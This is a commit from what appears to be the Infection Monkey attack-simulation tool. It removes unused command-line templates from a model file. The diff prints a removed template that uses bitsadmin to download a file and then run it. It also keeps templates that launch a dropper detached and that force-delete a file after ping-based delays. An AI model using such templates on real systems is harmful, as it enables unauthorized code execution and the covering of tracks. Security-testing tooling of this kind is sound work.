Remove unused variables `GENERAL_CMDLINE_LINUX` and `MONKEY_CMDLINE_HTTP` in `infection_monkey/model/__init__.py`
This commit is contained in:
parent
b1ce5d3e2e
commit
b7535dccb0
|
@ -17,7 +17,6 @@ MONKEY_CMDLINE_WINDOWS = "%s %%(monkey_path)s %s" % (
|
|||
MONKEY_ARG,
|
||||
)
|
||||
MONKEY_CMDLINE_LINUX = "./%%(monkey_filename)s %s" % (MONKEY_ARG,)
|
||||
GENERAL_CMDLINE_LINUX = "(cd %(monkey_directory)s && %(monkey_commandline)s)"
|
||||
DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % (
|
||||
CMD_PREFIX,
|
||||
DROPPER_ARG,
|
||||
|
@ -26,14 +25,6 @@ MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % (
|
|||
CMD_PREFIX,
|
||||
MONKEY_ARG,
|
||||
)
|
||||
MONKEY_CMDLINE_HTTP = (
|
||||
'%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s'
|
||||
'&cmd /c %%(monkey_path)s %s"'
|
||||
% (
|
||||
CMD_PREFIX,
|
||||
MONKEY_ARG,
|
||||
)
|
||||
)
|
||||
DELAY_DELETE_CMD = (
|
||||
"cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & "
|
||||
"if not exist %(file_path)s exit)) > NUL 2>&1 "
|
||||
|
|
Loading…
Reference in New Issue